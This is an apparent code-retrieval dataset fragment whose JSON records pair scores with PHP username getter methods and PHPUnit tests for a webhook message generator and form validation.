{\n return $this->session->authData['username'];\n }", "title": "" }, { "docid": "7e2a578f6f527ab612bafa5c2f773334", "score": "0.8116608", "text": "public function getUserName()\n {\n return $this->userName;\n }", "title": "" }, { "docid": "7e2a578f6f527ab612bafa5c2f773334", "score": "0.8116608", "text": "public function getUserName()\n {\n return $this->userName;\n }", "title": "" }, { "docid": "a9cc019256925f90630fa6664be7180d", "score": "0.81142354", "text": "public function getUserName() {\n\t\treturn $this->userName;\n\t}", "title": "" }, { "docid": "a9cc019256925f90630fa6664be7180d", "score": "0.81142354", "text": "public function getUserName() {\n\t\treturn $this->userName;\n\t}", "title": "" }, { "docid": "df5776d224d387575cddca44c1551891", "score": "0.81100404", "text": "public function getUsername()\n {\n return empty($this->username) ? 'anonymous' : $this->username;\n }", "title": "" }, { "docid": "9629f4740e6bd20baa50699871fde69d", "score": "0.8102057", "text": "public function getUserName()\n {\n return $this->user_name;\n }", "title": "" }, { "docid": "f039a68f81e66b36bae5f685a4b3f075", "score": "0.81005716", "text": "public function getUserName() {\n return $this->userName;\n }", "title": "" }, { "docid": "a7255d3880bfef0d307d4afe649d914d", "score": "0.80987054", "text": "public function getUserName()\n {\n return $this->formattedData['username'];\n }", "title": "" }, { "docid": "b68c1f1d89728241f7fd82c7fef6bab0", "score": "0.80872273", "text": "public function getUsername() {\n return $this->getValue('username');\n }", "title": "" }, { "docid": "6b38451945380c917c75e5a198cc03d8", "score": "0.80803263", "text": "public function getUserName() {\n\t\tif(($username=$this->getState('__username'))!==null) return $username;\n\t\telse return NULL;\n\t}", "title": "" }, { "docid": "0ea5f55c24df7a94f4eb9e9180f41328", "score": "0.8076646", "text": "public function getUsername()\r\n\t{\r\n\t\treturn $this->admin['user'];\r\n\t}", "title": "" }, { "docid": "938a7c3fb80124e1e6d1e23e0428147a", "score": "0.80706227", "text": "public function getUserName() {\r\n return $this->userName;\r\n }", "title": "" }, { "docid": "d8378d58afb727dfbc1b019e37282544", "score": "0.80587226", "text": "public function getUsername()\n {\n return $this->get(self::_USERNAME);\n }", "title": "" }, { "docid": "3767581c13f7a8c2dfe290297d253576", "score": "0.8054963", "text": "public function getUsername()\n {\n return $this->getName();\n }", "title": "" }, { "docid": "e0394b7b8955dffe11f9e80748a6c8e9", "score": "0.8046232", "text": "public function getUserName() : string\n {\n return $this->userName;\n }", "title": "" }, { "docid": "e0394b7b8955dffe11f9e80748a6c8e9", "score": "0.8046232", "text": "public function getUserName() : string\n {\n return $this->userName;\n }", "title": "" }, { "docid": "f391830b387047cf5134597e8a7b5f87", "score": "0.80442196", "text": "public function getUsername()\n {\n return $this->wrapped->getUsername();\n }", "title": "" }, { "docid": "5c9ca6b70025bb927b770129c86bc02d", "score": "0.80437964", "text": "public function getUsername()\n {\n // TODO: Implement getUsername() method.\n return $this->username;\n }", "title": "" }, { "docid": "13dcfeed614be5ab6f736e2abf52bd45", "score": "0.8030782", "text": "public function getUsername();", "title": "" }, { "docid": "13dcfeed614be5ab6f736e2abf52bd45", "score": "0.8030782", "text": "public function getUsername();", "title": "" }, { "docid": "13dcfeed614be5ab6f736e2abf52bd45", "score": "0.8030782", "text": "public function getUsername();", "title": "" }, { "docid": "13dcfeed614be5ab6f736e2abf52bd45", "score": "0.8030782", "text": "public function getUsername();", "title": "" }, { "docid": "13dcfeed614be5ab6f736e2abf52bd45", "score": "0.8030782", "text": "public function getUsername();", "title": "" }, { "docid": "1f41df6d28fc6c993b59ab2542c43499", "score": "0.8023054", "text": "public function getUserName()\n {\n return $this->getName();\n }", "title": "" }, { "docid": "4692ad358e9096b166ad9d5930c6c1ee", "score": "0.8014411", "text": "public function getUserName()\n {\n return $this->userName;\n }", "title": "" }, { "docid": "d5f061369491754cfd5261b0a5c8da3a", "score": "0.80017895", "text": "public function getUsername(): string\n {\n return $this->username;\n }", "title": "" }, { "docid": "d5f061369491754cfd5261b0a5c8da3a", "score": "0.80017895", "text": "public function getUsername(): string\n {\n return $this->username;\n }", "title": "" }, { "docid": "d5f061369491754cfd5261b0a5c8da3a", "score": "0.80017895", "text": "public function getUsername(): string\n {\n return $this->username;\n }", "title": "" }, { "docid": "b7b160f38282edf8757ae258fe181f7e", "score": "0.7995419", "text": "public function GetUsername() {\n return $this->username;\n }", "title": "" }, { "docid": "c4bb2839721c5e994cc94e7efa79ca1e", "score": "0.79923797", "text": "public function GetUsername()\n {\n return $this->username;\n }", "title": "" }, { "docid": "fa8e0c3e7be61948dc4849f6fd75ab8e", "score": "0.79785806", "text": "public function getUsername()\n {\n return $this->username;\n }", "title": "" }, { "docid": "fa8e0c3e7be61948dc4849f6fd75ab8e", "score": "0.79785806", "text": "public function getUsername()\n {\n return $this->username;\n }", "title": "" }, { "docid": "fa8e0c3e7be61948dc4849f6fd75ab8e", "score": "0.79785806", "text": "public function getUsername()\n {\n return $this->username;\n }", "title": "" }, { "docid": "fa8e0c3e7be61948dc4849f6fd75ab8e", "score": "0.79785806", "text": "public function getUsername()\n {\n return $this->username;\n }", "title": "" }, { "docid": "fa8e0c3e7be61948dc4849f6fd75ab8e", "score": "0.79785806", "text": "public function getUsername()\n {\n return $this->username;\n }", "title": "" }, { "docid": "fa8e0c3e7be61948dc4849f6fd75ab8e", "score": "0.79785806", "text": "public function getUsername()\n {\n return $this->username;\n }", "title": "" }, { "docid": "fa8e0c3e7be61948dc4849f6fd75ab8e", "score": "0.79785806", "text": "public function getUsername()\n {\n return $this->username;\n }", "title": "" }, { "docid": "fa8e0c3e7be61948dc4849f6fd75ab8e", "score": "0.79785806", "text": "public function getUsername()\n {\n return $this->username;\n }", "title": "" }, { "docid": "fa8e0c3e7be61948dc4849f6fd75ab8e", "score": "0.79785806", "text": "public function getUsername()\n {\n return $this->username;\n }", "title": "" }, { "docid": "fa8e0c3e7be61948dc4849f6fd75ab8e", "score": "0.79785806", "text": "public function getUsername()\n {\n return $this->username;\n }", "title": "" }, { "docid": "fa8e0c3e7be61948dc4849f6fd75ab8e", "score": "0.79785806", "text": "public function getUsername()\n {\n return $this->username;\n }", "title": "" }, { "docid": "fa8e0c3e7be61948dc4849f6fd75ab8e", "score": "0.79785806", "text": "public function getUsername()\n {\n return $this->username;\n }", "title": "" }, { "docid": "fa8e0c3e7be61948dc4849f6fd75ab8e", "score": "0.79785806", "text": "public function getUsername()\n {\n return $this->username;\n }", "title": "" }, { "docid": "fa8e0c3e7be61948dc4849f6fd75ab8e", "score": "0.79785806", "text": "public function getUsername()\n {\n return $this->username;\n }", "title": "" }, { "docid": "fa8e0c3e7be61948dc4849f6fd75ab8e", "score": "0.79785806", "text": "public function getUsername()\n {\n return $this->username;\n }", "title": "" }, { "docid": "fa8e0c3e7be61948dc4849f6fd75ab8e", "score": "0.79785806", "text": "public function getUsername()\n {\n return $this->username;\n }", "title": "" }, { "docid": "fa8e0c3e7be61948dc4849f6fd75ab8e", "score": "0.79785806", "text": "public function getUsername()\n {\n return $this->username;\n }", "title": "" }, { "docid": "fa8e0c3e7be61948dc4849f6fd75ab8e", "score": "0.79785806", "text": "public function getUsername()\n {\n return $this->username;\n }", "title": "" }, { "docid": "fa8e0c3e7be61948dc4849f6fd75ab8e", "score": "0.79785806", "text": "public function getUsername()\n {\n return $this->username;\n }", "title": "" }, { "docid": "fa8e0c3e7be61948dc4849f6fd75ab8e", "score": "0.79785806", "text": "public function getUsername()\n {\n return $this->username;\n }", "title": "" }, { "docid": "fa8e0c3e7be61948dc4849f6fd75ab8e", "score": "0.79785806", "text": "public function getUsername()\n {\n return $this->username;\n }", "title": "" }, { "docid": "fa8e0c3e7be61948dc4849f6fd75ab8e", "score": "0.79785806", "text": "public function getUsername()\n {\n return $this->username;\n }", "title": "" }, { "docid": "fa8e0c3e7be61948dc4849f6fd75ab8e", "score": "0.79785806", "text": "public function getUsername()\n {\n return $this->username;\n }", "title": "" }, { "docid": "fa8e0c3e7be61948dc4849f6fd75ab8e", "score": "0.79785806", "text": "public function getUsername()\n {\n return $this->username;\n }", "title": "" }, { "docid": "fa8e0c3e7be61948dc4849f6fd75ab8e", "score": "0.79785806", "text": "public function getUsername()\n {\n return $this->username;\n }", "title": "" }, { "docid": "fa8e0c3e7be61948dc4849f6fd75ab8e", "score": "0.79785806", "text": "public function getUsername()\n {\n return $this->username;\n }", "title": "" }, { "docid": "a4be1c905e7918c810da21fa343f40c0", "score": "0.7971113", "text": "public function getUsername()\n\t{\n\t\treturn $this->username;\n\t}", "title": "" }, { "docid": "a4be1c905e7918c810da21fa343f40c0", "score": "0.7971113", "text": "public function getUsername()\n\t{\n\t\treturn $this->username;\n\t}", "title": "" }, { "docid": "a4be1c905e7918c810da21fa343f40c0", "score": "0.7971113", "text": "public function getUsername()\n\t{\n\t\treturn $this->username;\n\t}", "title": "" }, { "docid": "a4be1c905e7918c810da21fa343f40c0", "score": "0.7971113", "text": "public function getUsername()\n\t{\n\t\treturn $this->username;\n\t}", "title": "" }, { "docid": "56ad7eee48cf357b5dbb337a9f52aa4f", "score": "0.79669046", "text": "public function getUsername(): string {\n return $this->username;\n }", "title": "" }, { "docid": "004bbe4a89193455411282ad76e4eff5", "score": "0.79614043", "text": "public function getUsername() {\r\n\t\treturn $this->username;\r\n\t}", "title": "" }, { "docid": "aad493a81d1890184e655ba83b918a20", "score": "0.79612106", "text": "public function getuserName()\n {\n return $this->userName;\n }", "title": "" }, { "docid": "c4e19f2289ec6fbce9045548f9e5cd8c", "score": "0.7959607", "text": "public function getUserName() {\n return $this->userName;\n }", "title": "" }, { "docid": "8c117949ef5f21ebb995290ec3f34846", "score": "0.79492646", "text": "public function username() {\n if ($this->proxy_user)\n return $this->proxy_user;\n\n return '';\n }", "title": "" }, { "docid": "9996ff0a8e80af375c75a4fc4bb3c6da", "score": "0.79456186", "text": "public function getUsername() {\n \n return $this->username;\n }", "title": "" }, { "docid": "cadc2824057318bde87a2b7c73b9b462", "score": "0.79434514", "text": "public function getUsername()\n {\n return $this->getUserEmail();\n }", "title": "" }, { "docid": "159b618182d3d07c388202513607c608", "score": "0.7942756", "text": "public function getUsername()\n\t{\n\t return $this->username;\n\t}", "title": "" }, { "docid": "5b9f5d958fba7d297f6ee99d1f98225b", "score": "0.7936784", "text": "public function getCurrentUser() {\n $user = new Varien_Object(array('username' => ''));\n if ($adminUser = Mage::getModel('admin/session')->getUser()) {\n $user->setUsername($adminUser->getUsername());\n }\n Mage::dispatchEvent('inp_get_current_username', array('user' => $user));\n return $user->getUsername();\n }", "title": "" }, { "docid": "0a3715f7ba53c970f4cf0c8ef6104996", "score": "0.79366046", "text": "public static function username()\n {\n $username = self::variable(self::USERNAME);\n\n return $username;\n }", "title": "" }, { "docid": "2766dc109bebadb3eb597b00889a9034", "score": "0.79356897", "text": "public function getUserName()\n {\n return $this->getUserAttribute(static::ATTRIBUTE_NAME);\n }", "title": "" }, { "docid": "39b0c4887b2eccebffbaed788b55ab3f", "score": "0.7934699", "text": "public function getUsername()\n {\n return (string) $this->username;\n }", "title": "" }, { "docid": "fa6359b222c36be5027715c25d6f58e0", "score": "0.79335916", "text": "public function getUsername()\n {\n return $this->username;\n }", "title": "" }, { "docid": "fa6359b222c36be5027715c25d6f58e0", "score": "0.79335916", "text": "public function getUsername()\n {\n return $this->username;\n }", "title": "" }, { "docid": "d0a4f93a773feff6b0e97405e941ccd5", "score": "0.7929713", "text": "public function getUsername() {\n return $this->username;\n }", "title": "" }, { "docid": "d0a4f93a773feff6b0e97405e941ccd5", "score": "0.7929713", "text": "public function getUsername() {\n return $this->username;\n }", "title": "" }, { "docid": "d0a4f93a773feff6b0e97405e941ccd5", "score": "0.7929713", "text": "public function getUsername() {\n return $this->username;\n }", "title": "" }, { "docid": "d0a4f93a773feff6b0e97405e941ccd5", "score": "0.7929713", "text": "public function getUsername() {\n return $this->username;\n }", "title": "" }, { "docid": "dd99e87a84860082d5dfa66af6de0069", "score": "0.7918381", "text": "public function getUsername(): string\n {\n return (string) $this->login;\n }", "title": "" }, { "docid": "dd99e87a84860082d5dfa66af6de0069", "score": "0.7918381", "text": "public function getUsername(): string\n {\n return (string) $this->login;\n }", "title": "" }, { "docid": "dd99e87a84860082d5dfa66af6de0069", "score": "0.7918381", "text": "public function getUsername(): string\n {\n return (string) $this->login;\n }", "title": "" }, { "docid": "dd99e87a84860082d5dfa66af6de0069", "score": "0.7918381", "text": "public function getUsername(): string\n {\n return (string) $this->login;\n }", "title": "" }, { "docid": "6c9b3faf6bfa2b866ce853ffa49950d1", "score": "0.7914925", "text": "public function get_username() {\n return $this->username;\n }", "title": "" }, { "docid": "3100495653c4ec4d9da32dae1cf5829c", "score": "0.7912791", "text": "public function getUsername()\n {\n // TODO: Implement getUsername() method.\n }", "title": "" }, { "docid": "3100495653c4ec4d9da32dae1cf5829c", "score": "0.7912791", "text": "public function getUsername()\n {\n // TODO: Implement getUsername() method.\n }", "title": "" }, { "docid": "3100495653c4ec4d9da32dae1cf5829c", "score": "0.7912791", "text": "public function getUsername()\n {\n // TODO: Implement getUsername() method.\n }", "title": "" }, { "docid": "786f32c9577c02be604ff2820d1bd464", "score": "0.7910737", "text": "public function getCurrentUserName()\n {\n $currentUserName = '';\n try {\n $loggedInUser = $this->getLoggedInUser();\n if ($loggedInUser) {\n $currentUserName = $loggedInUser['name'];\n }\n } catch (FamilyGraphException $ex) {\n // ignore error\n }\n \n return $currentUserName;\n }", "title": "" }, { "docid": "9c61d1a1564497bb91202f3bb194f8a4", "score": "0.7907992", "text": "public function getUsername() : string\n {\n return explode(':', $this->uri->getUserInfo() ?: '')[0];\n }", "title": "" }, { "docid": "0437015b113b9cc3747e99d936d94284", "score": "0.7904373", "text": "public function getUsername()\r\n {\r\n return $this->getGuardUser()->getUsername();\r\n }", "title": "" } ]
1f47b4577e58d42f959b3831678a5fe3
test generate message unmatching field
[ { "docid": "46f7bca7738368d87e53fdaa20dd1f19", "score": "0.66327935", "text": "public function testGenerateMessageUnMatching()\n {\n $webhook = factory(Webhook::class)->create();\n $forwardChatworkService = new ForwardChatworkService(\n $webhook,\n '',\n new PayloadHistoryRepository(),\n new MessageHistoryRepository()\n );\n $content = 'Hello, my name is {{$params.not_exist}}';\n $params = json_decode('{\"name\" : \"qtv\"}');\n\n $result = $forwardChatworkService->generateMessage($content, $params);\n\n $this->assertEquals('', $result);\n $this->assertDatabaseHas('payload_histories', ['log' => 'Not found $params.not_exist ']);\n }", "title": "" } ]
[ { "docid": "8767debafb51d732ec92dd5d5d7ffd7a", "score": "0.6509992", "text": "public function testGenerateMessageUnmatchingWithMapping()\n {\n $webhook = factory(Webhook::class)->create();\n factory(Mapping::class)->create(['webhook_id' => $webhook->id, 'key' => 'quangvv', 'value' => '[To:123123] QTV']);\n $forwardChatworkService = new ForwardChatworkService(\n $webhook,\n '',\n new PayloadHistoryRepository(),\n new MessageHistoryRepository()\n );\n $content = 'Hello, my name is {{ name }}';\n $params = ['name' => 'qtv'];\n\n\n $result = $forwardChatworkService->generateMessage($content, $params);\n\n\n $this->assertEquals('Hello, my name is qtv', $result);\n }", "title": "" }, { "docid": "c5287fcee633aae7310b6b3a533c32ad", "score": "0.64549655", "text": "public function testGenerateMessageUnmatchingByRegexWithMapping()\n {\n $webhook = factory(Webhook::class)->create();\n factory(Mapping::class)->create(['webhook_id' => $webhook->id, 'key' => 'quangvv', 'value' => '[To:123123] QTV']);\n $forwardChatworkService = new ForwardChatworkService(\n $webhook,\n '',\n new PayloadHistoryRepository(),\n new MessageHistoryRepository()\n );\n $content = 'This is a message: [[ message ]].';\n $params = ['message' => 'Hello @qtv'];\n\n\n $result = $forwardChatworkService->generateMessage($content, $params);\n\n\n $this->assertEquals('This is a message: Hello @qtv.', $result);\n }", "title": "" }, { "docid": "6b35e085b3d899dae60d2e4b6d8616a9", "score": "0.6372086", "text": "public function testGenerateMessageUnMatchingByRegex()\n {\n $webhook = factory(Webhook::class)->create();\n $forwardChatworkService = new ForwardChatworkService(\n $webhook,\n '',\n new PayloadHistoryRepository(),\n new MessageHistoryRepository()\n );\n $content = 'Hello, my name is [[$params.not_exist]]';\n $params = json_decode('{\"name\" : \"qtv\"}');\n\n $result = $forwardChatworkService->generateMessage($content, $params);\n\n $this->assertEquals('', $result);\n $this->assertDatabaseHas('payload_histories', ['log' => 'Not found $params.not_exist ']);\n }", "title": "" }, { "docid": "faac7fe4a90a7536e81a377855d3fdd3", "score": "0.6230592", "text": "public function testGenerateMessageMatchingWithoutMapping()\n {\n $webhook = factory(Webhook::class)->create();\n factory(Mapping::class)->create(['webhook_id' => $webhook->id, 'key' => 'qtv', 'value' => '[To:123123] QTV']);\n $forwardChatworkService = new ForwardChatworkService(\n $webhook,\n '',\n new PayloadHistoryRepository(),\n new MessageHistoryRepository()\n );\n $content = 'Hello, my name is {!! name !!}';\n $params = ['name' => 'qtv'];\n\n\n $result = $forwardChatworkService->generateMessage($content, $params);\n\n\n $this->assertEquals('Hello, my name is qtv', $result);\n }", "title": "" }, { "docid": "6d41cc7bd3aeead3bb172de7f7a75064", "score": "0.61718166", "text": "public function testGenerateMessageNoMappingUnMatching()\n {\n $webhook = factory(Webhook::class)->create();\n $forwardChatworkService = new ForwardChatworkService(\n $webhook,\n '',\n new PayloadHistoryRepository(),\n new MessageHistoryRepository()\n );\n $content = 'Hello, my name is {!!$params.not_exist!!}';\n $params = json_decode('{\"name\" : \"qtv\"}');\n\n $result = $forwardChatworkService->generateMessage($content, $params);\n\n $this->assertEquals('', $result);\n $this->assertDatabaseHas('payload_histories', ['log' => 'Not found $params.not_exist ']);\n }", "title": "" }, { "docid": "cf678ab542f72344c016795f14e74f59", "score": "0.612024", "text": "public function testGenerateSchemaErrorWithFieldName()\n {\n #create an EtlRecCapProject object from which a schema will be generated\n $configFile = __DIR__.'/../config/basic-demography-bad-field-name.ini';\n $configuration = new TaskConfig();\n $configuration->set(self::$logger, $configFile);\n\n $apiUrl = $configuration->getRedCapApiUrl();\n $apiToken = $configuration->getDataSourceApiToken();\n $sslVerify = false;\n $caCertificateFile = null;\n $errorHandler = null;\n $connection = null;\n $etlRedCapProject = new EtlRedCapProject(\n $apiUrl,\n $apiToken,\n $sslVerify,\n $caCertificateFile,\n $errorHandler,\n $connection\n );\n\n #create a SchemaGenerator object\n $schemaGenerator = new SchemaGenerator($etlRedCapProject, $configuration, self::$logger);\n\n #clear out the log file\n $logFile = $configuration->getLogFile();\n $f = fopen($logFile, \"w\");\n fclose($f);\n\n #Generate the schema\n $rulesText = $configuration->getTransformationRules();\n $result = $schemaGenerator->generateSchema($rulesText);\n\n #test that the error message was written to the log file\n $logText = file_get_contents($logFile, false, null, 0, 500);\n $fieldNotFoundMsg = \"Field not found in REDCap: 'bbbmi'\";\n $msgFound = (strpos($logText, $fieldNotFoundMsg) ? true : false);\n $this->assertTrue(\n $msgFound,\n 'SchemaGenerator, generateSchema bad field name field not found msg'\n );\n }", "title": "" }, { "docid": "b5eb427a1005993e4fdd06fd5606aa9b", "score": "0.5991942", "text": "public function getMessageForRealtyObjectFieldCanReturnMessageForField() {\n\t\t$this->assertEquals(\n\t\t\t$GLOBALS['TSFE']->sL('LLL:EXT:realty/locallang_db.xml:tx_realty_objects.floor') . ': ' .\n\t\t\t\t$this->fixture->translate('message_no_valid_number'),\n\t\t\t$this->fixture->getMessageForRealtyObjectField(\n\t\t\t\tarray('fieldName' => 'floor', 'label' => 'message_no_valid_number')\n\t\t\t)\n\t\t);\n\t}", "title": "" }, { "docid": "f1296399c1c57c93ac66f65fa2600bcc", "score": "0.5968486", "text": "public function testValueNotSourcFields(): void {\n $this->expectException(\\codename\\core\\exception::class);\n\n $transform = $this->getTransform('contains', [\n 'collection' => 'example_collection_source_field',\n 'item' => 'example_item_source_field',\n ]);\n $result = $transform->transform([]);\n }", "title": "" }, { "docid": "628cc6ea69497a8c1026b3eeea75307c", "score": "0.5882216", "text": "public function testFetchCustomFieldUnexistingField(): void\n {\n // setup\n $fieldsAlgorithms = new FieldsAlgorithms($this->getFields1(), 'entity');\n $record = [];\n\n // test body\n $result = $fieldsAlgorithms->fetchCustomField($record, 'unexisting');\n\n // assertions\n $this->assertEquals(0, count($result), 'Something was returned, but should not');\n }", "title": "" }, { "docid": "b2894dbcf60b172fc190f19c9ec39389", "score": "0.5866092", "text": "public function testReturnsFormatedValueWithANonexistentField() {\n\t\t\n\t\t$field = 'this_do_not_exists_in_schema';\n\t\t\n\t\t$value = uniqid();\n\t\t\n\t\t$results = $this->Query\n\t\t\t->onModel('OtherModel')\n\t\t\t->onField($field)\n\t\t\t->withValue($value)\n\t\t\t->returnsFormattedValue();\n\t\t\n\t\t$this->assertEquals($value, $results);\n\t\t\n\t}", "title": "" }, { "docid": "c44eb664f0eaac1312c0a2619091d260", "score": "0.58541083", "text": "public function testMessageTranslation() {\n $vld = new TestValidation();\n $vld->setTranslateFieldNames(true);\n\n $vld->addError('it', 'Keeping {field} {status}', 100);\n\n $this->assertSame('!!Keeping !it 100.', $vld->getMessage());\n }", "title": "" }, { "docid": "b82c520c40a61be31e490dd9cc6baa5d", "score": "0.5687595", "text": "public function testMessageInsert($msg, $expected) {\n $contribution = wmf_civicrm_contribution_message_import($msg);\n $this->contribution_id = $contribution['id'];\n\n // Ignore contact_id if we have no expectation.\n if (empty($expected['contribution']['contact_id'])) {\n $this->fieldsToIgnore[] = 'contact_id';\n }\n\n $this->assertComparable($expected['contribution'], $contribution);\n\n if (!empty($expected['contribution_custom_values'])) {\n $actual_contribution_custom_values = wmf_civicrm_get_custom_values(\n $contribution['id'],\n array_keys($expected['contribution_custom_values'])\n );\n $this->assertEquals($expected['contribution_custom_values'], $actual_contribution_custom_values);\n }\n\n if (!empty($expected['contact'])) {\n $contact = $this->callAPISuccessGetSingle('Contact', ['id' => $contribution['contact_id']]);\n $renamedFields = ['prefix' => 1, 'suffix' => 1];\n $this->assertEquals(array_diff_key($expected['contact'], $renamedFields), array_intersect_key($contact, $expected['contact']), print_r(array_intersect_key($contact, $expected['contact']), TRUE) . \" does not match \" . print_r(array_diff_key($expected['contact'], $renamedFields), TRUE));\n foreach (array_keys($renamedFields) as $renamedField) {\n if (isset($expected['contact'][$renamedField])) {\n $this->assertEquals(civicrm_api3('OptionValue', 'getvalue', [\n 'value' => $contact[$renamedField . '_id'],\n 'option_group_id' => 'individual_' . $renamedField,\n 'return' => 'name',\n ]), $expected['contact'][$renamedField]);\n }\n }\n }\n\n if (!empty($expected['address'])) {\n $addresses = civicrm_api3('Address', 'get', [\n 'contact_id' => $contribution['contact_id'],\n 'return' => 'country_id,state_province_id,city,postal_code,street_address,geo_code_1,geo_code_2,timezone',\n ]);\n $address = $addresses['values'][$addresses['id']];\n $this->assertComparable($expected['address'], $address);\n }\n\n if (!empty($expected['contact_custom_values'])) {\n $actual_contact_custom_values = wmf_civicrm_get_custom_values(\n $contribution['contact_id'],\n array_keys($expected['contact_custom_values'])\n );\n $this->assertEquals($expected['contact_custom_values'], $actual_contact_custom_values);\n }\n }", "title": "" }, { "docid": "bbff5516b7fc7555304236868382d24b", "score": "0.5575895", "text": "public function testCorrectMessagesAreReturned()\n {\n $this->assertArrayHasKey('range', $this->getMessages());\n }", "title": "" }, { "docid": "c948404aab880e692c1ed5059bb2667c", "score": "0.55659395", "text": "public function testCalcMessage() {\n $vld = new Validation();\n\n $vld->addError('foo', 'baz')\n ->addError('foo', 'bar');\n\n $msg = $vld->getMessage();\n $this->assertSame('baz. bar.', $msg);\n }", "title": "" }, { "docid": "be917cb8f40a18a2b7b67a477d03bbdf", "score": "0.55459255", "text": "public function testIfFieldExist(){\n// \t\t$this->assertAttributeEquals(array(), '_entries', new Cart);\t//makes error\n\t\t$this->assertAttributeEquals(array(), 'var', new Cart);\t\t\t//ok\n\t}", "title": "" }, { "docid": "7decd16962da554fddea0e4ff128ab33", "score": "0.5537725", "text": "public function testSelectBioFromResultsFailureUnrelatedKey()\n {\n $expected = \"error\";\n $example = [\"foo\" => \"bar\"];\n $case = selectBioFromResults($example);\n $this->assertEquals($case, $expected);\n }", "title": "" }, { "docid": "15439d24b38e9240f3523750287b13b6", "score": "0.55223054", "text": "function validator_germplasm_present_generate_msg($error_info) {\n $nonexistant = array();\n $nonunique = array();\n\n foreach ($error_info['Name'] as $v) {\n if ($v['code'] === 0) {\n $nonexistant[] = '\"' . $v['name'] . '\" (line ' . $v['row number'] . ')';\n }\n elseif ($v['code'] === 9) {\n $nonunique[] = '\"' . $v['name'] . '\" (line ' . $v['row number'] . ')';\n }\n }\n\n // Contact support.\n $support_email = rawpheno_function_get_support_email();\n $contact_support_message = ($support_email)\n ? '<a href=\"mailto:' . $support_email . '\" title=\"Right click to copy email address\">Please contact support.</a>'\n : 'Please contact the administrator of this website.';\n\n $messages = array();\n if (!empty($nonexistant)) {\n $messages[] = 'The following germplasm does not already exist: '. implode(', ',$nonexistant) . '. ' . $contact_support_message;\n }\n if (!empty($nonunique)) {\n $messages[] = 'The following germplasm names are not unique in this resource: '. implode(', ',$nonunique). ' ' . $contact_support_message;\n }\n\n return $messages;\n}", "title": "" }, { "docid": "038373ae33e533487e2762040a9acd3b", "score": "0.5480687", "text": "public function testGenerateMessageNoMappingWithFieldIsArray()\n {\n $webhook = factory(Webhook::class)->create();\n $forwardChatworkService = new ForwardChatworkService(\n $webhook,\n '',\n new PayloadHistoryRepository(),\n new MessageHistoryRepository()\n );\n $content = 'Hello, my name is {!! student !!}';\n $params = ['student' => ['name' => 'qtv']];\n\n\n $result = $forwardChatworkService->generateMessage($content, $params);\n\n $this->assertEquals('Hello, my name is {\"name\":\"qtv\"}', $result);\n }", "title": "" }, { "docid": "a54998779ee2e5480c75c430e2a4611e", "score": "0.5477967", "text": "public function testEmailProducesRequiredAndUniqueStringWhenRequiredAndUnique()\n {\n $email_field = (new EmailField('email_address', ''))\n ->required()\n ->unique('context_filed_1');\n\n /** @var StringField $string_field */\n $string_field = $email_field->getFields()[0];\n\n $this->assertInstanceOf(StringField::class, $string_field);\n\n $this->assertTrue($string_field->isRequired());\n $this->assertTrue($string_field->isUnique());\n $this->assertEquals(['context_filed_1'], $string_field->getUniquenessContext());\n }", "title": "" }, { "docid": "7296ce4732656b4439ee1aae45e44b10", "score": "0.54775584", "text": "public function testGenerateMessageMatchingWithMappingByRegex()\n {\n $webhook = factory(Webhook::class)->create();\n factory(Mapping::class)->create(['webhook_id' => $webhook->id, 'key' => 'qtv', 'value' => '[To:123123] QTV']);\n $forwardChatworkService = new ForwardChatworkService(\n $webhook,\n '',\n new PayloadHistoryRepository(),\n new MessageHistoryRepository()\n );\n $content = 'This is a message: [[ message ]].';\n $params = ['message' => 'Hello @qtv'];\n\n\n $result = $forwardChatworkService->generateMessage($content, $params);\n\n\n $this->assertEquals('This is a message: Hello [To:123123] QTV.', $result);\n }", "title": "" }, { "docid": "2439df53705ab88581da584fa810ce77", "score": "0.5467221", "text": "public function testMatchFalureWithMessage()\n {\n $message = '123asd';\n $constraint = $this->createConstraint($message);\n $function = function () {\n $this->assertTrue(false, 'Wrong message here, does not contain token');\n };\n $result = $constraint->matches($function);\n $this->assertFalse($result, 'Constraint must not match a successful assertion');\n }", "title": "" }, { "docid": "1a871965fef8042dfa339cc17aa68a1b", "score": "0.5443847", "text": "public function testPostalCodeDoesNotContainALetter()\n {\n $crawler= $this->crawler;\n $form= $this->form;\n $client = $this->client;\n\n $form['member[postalCode]']->setValue(\"222333\");\n\n\n $client->submit($form);\n\n $this->assertEquals(200, $client->getResponse()->getStatusCode());\n $this->assertContains(\"Postal Code should be in the format of A2A3B3 or A2A 3B3\", $client->getResponse()->getContent());\n }", "title": "" }, { "docid": "1894d0f91cb0dc6d854a744ac4c675c8", "score": "0.54360914", "text": "public function testSelectQualificationsFromResultsFailureUnrelatedKey()\n {\n $expected = \"error\";\n $example = [\"foo\" => \"bar\"];\n $case = selectBioFromResults($example);\n $this->assertEquals($case, $expected);\n }", "title": "" }, { "docid": "66affc5c8dd7ccf015f142138873deb3", "score": "0.54342043", "text": "function testRetrieveSingleTestDataFieldThrowsExceptionIfFieldIsInvalid() {\n\t\t$this->setExpectedException('ErrorException');\n\t\t$this->_testFix->getField('bid');\n\t}", "title": "" }, { "docid": "37fd102db675bae9f0d71087bcde7e89", "score": "0.54315805", "text": "abstract public function getAdditionalMsgFields();", "title": "" }, { "docid": "a2010b88742e4a95d609419055e7d0a7", "score": "0.54220885", "text": "public function testFieldedMessageBundles() {\n $field_name = mb_strtolower($this->randomMachineName());\n $field_storage = FieldStorageConfig::create([\n 'field_name' => $field_name,\n 'entity_type' => 'message',\n 'type' => 'text',\n ]);\n $field_storage->save();\n $field_config = FieldConfig::create([\n 'field_storage' => $field_storage,\n 'bundle' => $this->template->id(),\n ]);\n $field_config->save();\n\n // Enable the email notifier.\n \\Drupal::configFactory()->getEditable('message_subscribe.settings')->set('default_notifiers', ['email'])->save();\n\n $message = Message::create([\n 'template' => $this->template->id(),\n 'uid' => $this->users[1],\n $field_name => $this->randomString(),\n ]);\n\n // Save and reload to mimic queue behavior.\n $message->save();\n $message = $message->load($message->id());\n\n // Send message set to save the cloned message.\n $node = $this->nodes[0];\n $this->messageSubscribers->sendMessage($node, $message, ['email' => ['save on success' => TRUE]], ['entity access' => FALSE]);\n $cloned_message = \\Drupal::entityTypeManager()->getStorage('message')->load($message->id() + 1);\n $this->assertEquals($message->{$field_name}->value, $cloned_message->{$field_name}->value);\n }", "title": "" }, { "docid": "b9ed2f31b95329188f3fe6dcf785ee15", "score": "0.54157203", "text": "function testEmptyValue() {\r\n\t\t$this->assertEqualMergeFieldStrings(\"<b>[a]</b>\", array(), \"<b>[a]</b>\", \"merge empty field #1\");\r\n\t\t$this->assertEqualMergeFieldStrings(\"<b>[a]</b>\", array('a'=>''), \"<b></b>\", 